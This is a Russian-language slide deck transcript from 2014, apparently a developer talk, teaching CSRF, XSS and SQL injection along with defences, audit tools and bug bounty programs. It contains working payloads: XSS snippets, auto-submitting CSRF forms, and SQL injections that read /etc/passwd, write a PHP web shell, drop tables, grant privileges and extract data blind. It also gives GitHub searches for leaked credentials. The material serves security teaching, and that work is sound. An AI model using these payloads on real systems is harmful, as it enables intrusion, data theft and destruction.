Максим Кочкин (wamba)
TRANSCRIPT
Web application securityМаксим Кочкин
OWASP TOP-10 (2013)1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
Сводная статистика по распространенности угроз
Угроза Подвержено сайтов, %
WhiteHat (2013)
Cenzic (2013)Contextis
(2013)Avg
XSS 53 60 56 56
SQL Injection 7 20 14 14
CSRF 26 22 34 27
Information Leakage 55 36 60 50
Authentication & authorization11 56 60 42
Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
CSRFExploitability AVERAGE
Prevalence COMMON
Detectability EASY
Impact MODERATE
Cross-Site Request Forgery(WASC-09)
Атака, при которой жертва без согласия выполняет от своего имени запрос.Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
Cross-Site Request ForgeryАтака
● на сайте есть действие «подарить подарок»● действие выполняется ajax-запросом при клике по
ссылке, параметр — id получателя● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка
- напрямую: в мессенджере, в блоге, по почте, …- укороченная — скрыть payload- на сайте атакующего: картинка или подготовленная форма
Cross-Site Request ForgeryАтака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[url]" method="post">...</form><script>form.submit()</script>
Cross-Site Request ForgeryПростые правила
GET — только для получения данныхДля изменения данных — POST, PUT, DELETE
(это не защита!)
Cross-Site Request ForgeryЗащита
Ненадежные способы
● принимать только POST● HTTP_REFERER● подтверждение вторым запросом● многошаговый процесс
Cross-Site Request ForgeryЗащита
● токен- сессионный токен (Synchronizer Token)- двойная отправка куки (Double Submit Cookies)- зашифрованный токен (Encrypted Token)
● подтверждение (пароль, капча)● Origin (request header) (не путать с CORS)
[https://wiki.mozilla.org/Security/Origin]- iframe, embed, applet, script, form, XHR, redirect
Cross-Site Request ForgeryАудит
● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками.
● Arachni [http://www.arachni-scanner.com/] — 4-этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены.
● Руками и глазами.
Cross-Site Request ForgeryLogout
CSRF на logout? R U serious? Ahahaha!Oh, wait…
http://superlogout.com/
Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
XSSExploitability AVERAGE
Prevalence VERY WIDESPREAD
Detectability EASY
Impact MODERATE
Cross-Site Scripting(WASC-08)
Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы.
Браузер может быть встроен в ПО и иметь доступ к его компонентам.
Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
Cross-Site ScriptingУгроза
● фишинг● кража сессии (если куки не httponly)● кража пользовательских данных жертвы со
страниц● выполнение нежелательных действий от
имени жертвы (обход CSRF-защиты)
Cross-Site ScriptingТипы
● TYPE 1 — отражённая (non-persistent, reflected)
● TYPE 2 — хранимая (persistent, stored)● TYPE 0 — DOM-based
Cross-Site ScriptingTYPE 1, отражённая
● формируется запрос с пользовательскими данными userdata
● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации
Чаще всего это● заполнение полей формы в случае ошибки● вывод поискового текста в форме поиска
Cross-Site ScriptingTYPE 1, отражённая
<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>
Cross-Site ScriptingTYPE 1, отражённая
<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>
Cross-Site ScriptingTYPE 1, отражённая
<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>
Cross-Site ScriptingTYPE 2, хранимая
● пользовательские данные сохраняются в БД без надлежащей фильтрации
● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
Cross-Site ScriptingTYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"></div>
Cross-Site ScriptingTYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"></div>
Cross-Site ScriptingTYPE 3, DOM-based
Атака полностью реализуется на клиенте без участия сервера
● пользователь вводит данные в URL или на страницу (формы)
● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
Cross-Site ScriptingTYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site ScriptingTYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site ScriptingTYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('Hello, '+r+'!');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site ScriptingМеры предотвращения
Правила OWASPhttps://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
ESAPI (The OWASP Enterprise Security API)https://code.google.com/p/owasp-esapi-java/https://code.google.com/p/owasp-esapi-php/https://code.google.com/p/owasp-esapi-python/
httponly куки
CSP (Content Security Policy)
Cross-Site ScriptingCSP
CSP — Content Security Policy [Google, Mozilla]http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
Кто уже поддерживает?http://caniuse.com/#feat=contentsecuritypolicy
Кто уже использует? (из alexa top-25)- mail.yandex.ru, e.mail.ru, facebook.com
Cross-Site ScriptingCSP: пример
HTTP Response Header
Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
Cross-Site ScriptingАудит
OWASP ZAP[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]прокси с последующим анализом логов.
OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER]
очень умный, гибко настраивается, многое умеет.
w3af [http://w3af.org/plugins/audit/xss]
SQL InjectionExploitability EASY
Prevalence COMMON
Detectability AVERAGE
Impact SEVERE
SQL Injection(WASC-19)
Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД.
В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
SQL InjectionПростейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL InjectionПростейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL InjectionСхема атаки
● поиск точки, использующей пользовательские данные в SQL-запросе
● выполнение фингерпринтинга СУБД● поиск уязвимости, позволяющей выполнить
атаку● эксплуатация уязвимости
SQL InjectionФингерпринтинг СУБД
● сообщения об ошибках на страницах● баннер (version(), @@version)
- SELECT version() --> 5.6.12-56 ● диалект SQL
- MySQL: WHERE id = 1 /*!50067 AND 47=47 */- PostgreSQL: AND 82::int=82
● поведение некоторых функций● вакансии или собеседование :)
SQL InjectionЭксплуатация
Типы● обычная инъекция — по выводимым ошибкам● инъекция вслепую (Blind Injection) — вывод ошибок
отключен
Техники● UNION● batched запросы● boolean-based blind● time-based blind
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OKquery.php?id=1 and 1=2 -- error
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OKquery.php?id=1 order by 2 -- OKquery.php?id=1 order by 3 -- OKquery.php?id=1 order by 4 -- error!
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]Age: 3
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]Age: 3
SQL InjectionПримеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version(), user(), database()
Name: 5.0.0-42 [root@localhost]Age: Main
SQL InjectionПримеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database())
Name: 5.0.0-42:root@localhost:Main
SQL InjectionПримеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select load_file('/etc/passwd')
query.php?id=-1union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
SQL InjectionПримеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...query.php?id=1;drop user ...query.php?id=1;create user ...query.php?id=1;grant all privileges on ...
query.php?id=1;select ... into outfile ...
SQL InjectionПримеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A
D — номер БД в таблице schemataN — номер очередного символаA — ASCII-код символа
select schema_name from information_schema.schemata — имя БДmid(dbname, N, 1) — один символ имениord(char) — ASCII-код, удобнее сравнивать
SQL InjectionПримеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true)
S — в зависимости от нормального времени отклика сайта
Основа — как в boolean-based blind
if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
SQL InjectionЗащита и превентивные меры
● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений
- SELECT * FROM table WHERE columna=? AND columnb=?● файрволлы (детекция попыток фингерпринтинга и
эксплуатаций) — NAXSI, ModSecurity● разграничение прав доступа
- user: SELECT, INSERT, UPDATE, …- superuser: CREATE, DROP, ALTER, …
● валидация и фильтрация всего :)
SQL InjectionАудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает массу техник исследования и эксплуатации.
Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД.
Вряд ли вам понадобится другой инструмент.
Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗАПНО может прийти беда.
Чтобы уметь разрабатывать инструменты противодействия.
Чтобы уметь пользоваться инструментами и писать безопасный код.Ну и просто потому что это круто :)
P.S.
Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем.
Bug bounty программа хорошо конвертирует blackhats в whitehats.
Список таких программ
https://bugcrowd.com/list-of-bug-bounty-programs/
Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
Wamba Bug Bounty
http://corp.wamba.com/ru/developer/security/
Вознаграждения● критичные сервисы — от 5 000 до 100 000 руб.● прочие сервисы — от 3 000 до 25 000 руб.● зал славы
http://corp.wamba.com/ru/[email protected]@m_ksimka
Апрель 2014
Приложение
Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
Атаки на браузеры
cookie-bomb (by @homakov)http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted.
Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com.
1 кука = 4кБ, а мы можем поставить сотни кук.
400кБ+ заголовков — веб-сервер просто не отвечает.
Итого: DoS сервиса (не всего, для юзера) куками
Социальная инженерия
Self-XSShttps://www.facebook.com/selfxss
Социальная инженерия
Chunkhost и Sendgrid (март 2014)https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в старые добрые времена● хакер покупает домен chunkhost.info● звонит в поддержку sendgrid и просит сменить мыло
[email protected] ● на [email protected], поддержка говорит ОК (wtf?)● хакер включает в sendgrid фичу BCC, инициирует сброс паролей
пары акков на chunkhost, получает копию писем со ссылкой для сброса
● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
Социальная инженерияCSS-Tricks и Media Temple (март 2014)http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в еще более старые добрые времена● хакер звонит в поддержку MT и просит поменять email от акка
Криса, потому что, якобы, не помнит его● поддержка говорит «ок, только пришлите скан своих документов»● хакер подделывает документы и получает акк (sic!)● кроме этого захватывает пачку других сайтов● чувак говорит, что мог бы захватить jquery.com (тоже хостится на
MT) и заразить исходники, которые используются на тысячах сайтов
● еще чувак говорит, что ничего не понимает в этих ваших sql-инъекциях и прочей ерунде, но ему это и не нужно :)
Github, пароли в репозиториях
DB config (PHP)https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code
≈60000
AWS private keyhttps://github.com/search?q=AKIAJ&type=Code&ref=searchresults
≈1000
RSA private keyhttps://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY---%22&ref=searchresults&s=indexed&type=Code
≈44000
DOM-based XSS
https://code.google.com/p/domxsswiki/
http://www.domxss.com/domxss/
SQL Injection
http://websec.ca/kb/sql_injection
http://www.sqlinjectionwiki.com/
http://www.blackhatlibrary.net/SQL_injection
http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-sql.html
Потренироваться
http://testphp.vulnweb.com (Acunetix)
http://testasp.vulnweb.com (Acunetix)
http://testaspnet.vulnweb.com (Acunetix)
http://testhtml5.vulnweb.com/ (Acunetix)
http://demo.testfire.net (IBM)
http://zero.webappsecurity.com (HP)
http://crackme.cenzic.com (Cenzic)
http://www.webscantest.com (NTO)
http://www.dvwa.co.uk/ (RandomStorm, offline)
https://code.google.com/p/webgoat/ (OWASP, offline)